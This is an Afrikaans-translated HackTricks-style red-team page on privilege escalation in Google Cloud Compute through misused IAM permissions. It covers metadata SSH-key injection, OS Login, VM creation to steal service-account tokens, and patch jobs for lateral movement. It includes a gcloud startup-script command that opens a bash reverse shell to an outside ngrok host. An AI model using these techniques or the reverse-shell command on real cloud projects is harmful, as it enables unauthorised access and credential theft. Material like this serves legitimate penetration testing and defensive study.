GCP - Compute Privesc

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Rekenaar

Vir meer inligting oor Rekenaars en VPC (netwerk) in GCP, kyk:

GCP - Compute Enum

Let daarop dat om al die voorregverhogingsaanvalle uit te voer wat vereis dat die metadata van die instansie gewysig word (soos die byvoeging van nuwe gebruikers en SSH-sleutels), is dit nodig dat jy actAs-toestemmings oor die SA wat aan die instansie geheg is, het, selfs as die SA reeds geheg is!

compute.projects.setCommonInstanceMetadata

Met daardie toestemming kan jy die metadata-inligting van 'n instansie wysig en die geautoriseerde sleutels van 'n gebruiker verander, of 'n nuwe gebruiker met sudo-toestemmings skep. Daarom sal jy in staat wees om via SSH in te tree na enige VM-instansie en die GCP-diensrekening wat die Instansie gebruik, te steel. Beperkings:

  • Let daarop dat GCP-diensrekeninge wat standaard in VM-instansies loop, 'n baie beperkte omvang het

  • Jy sal in staat moet wees om die SSH-bediener te kontak om in te teken

Vir meer inligting oor hoe om hierdie toestemming uit te buit, kyk:

GCP - Add Custom SSH Metadata

Jy kan ook hierdie aanval uitvoer deur 'n nuwe aanvangsskrip by te voeg en die instansie te herlaai:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Hierdie toestemming gee dieselfde voorregte as die vorige toestemming, maar oor spesifieke instansies in plaas van 'n hele projek. Dieselfde aanvalle en beperkings as vir die vorige afdeling geld.

compute.instances.setIamPolicy

Hierdie soort toestemming sal jou toelaat om jouself 'n rol te gee met die vorige toestemmings en voorregte te eskaleer deur hulle te misbruik.

compute.instances.osLogin

As OSLogin geaktiveer is in die instansie, kan jy met hierdie toestemming net gcloud compute ssh [INSTANSIE] hardloop en aan die instansie koppel. Jy sal nie root-voorregte binne die instansie hê nie.

compute.instances.osAdminLogin

As OSLogin geaktiveer is in die instansie, kan jy met hierdie toestemming net gcloud compute ssh [INSTANSIE] hardloop en aan die instansie koppel. Jy sal root-voorregte binne die instansie hê.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Dit is moontlik om 'n virtuele masjien te skep met 'n toegewysde Diensrekening en die token te steel van die diensrekening wat die metadata benader om voorregte daartoe te eskaleer.

Die aanvalskrip vir hierdie metode kan hier gevind word.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

As jy die osconfig.patchDeployments.create of osconfig.patchJobs.exec toestemmings het, kan jy 'n patch job of deployment skep. Dit sal jou in staat stel om lateraal te beweeg in die omgewing en kode-uitvoering te verkry op al die rekenaarinstansies binne 'n projek.

As jy hierdie handmatig wil misbruik, sal jy een van die volgende moet skep: 'n patch job of deployment vir 'n patch job hardloop:

gcloud compute os-config patch-jobs execute --file=patch.json

Om 'n patch deployment te implementeer:

gcloud compute os-config patch-deployments create my-update --file=patch.json

Geoutomatiseerde gereedskap soos patchy bestaan om lakse toestemmings op te spoor en outomaties lateraal te beweeg.

Jy kan dit ook misbruik vir volharding.

compute.machineImages.setIamPolicy

Gee jouself ekstra toestemmings tot rekenaarbeeld.

compute.snapshots.setIamPolicy

Gee jouself ekstra toestemmings tot 'n skyf-snapshot.

compute.disks.setIamPolicy

Gee jouself ekstra toestemmings tot 'n skyf.

Bypass Toegangsbereik

Volg hierdie skakel om 'n paar idees te vind om toegangsbereike te probeer omseil.

Plaaslike Voorregte-Eskalasie in GCP Rekenaarinstansie

GCP - local privilege escalation ssh pivoting

Verwysings

Last updated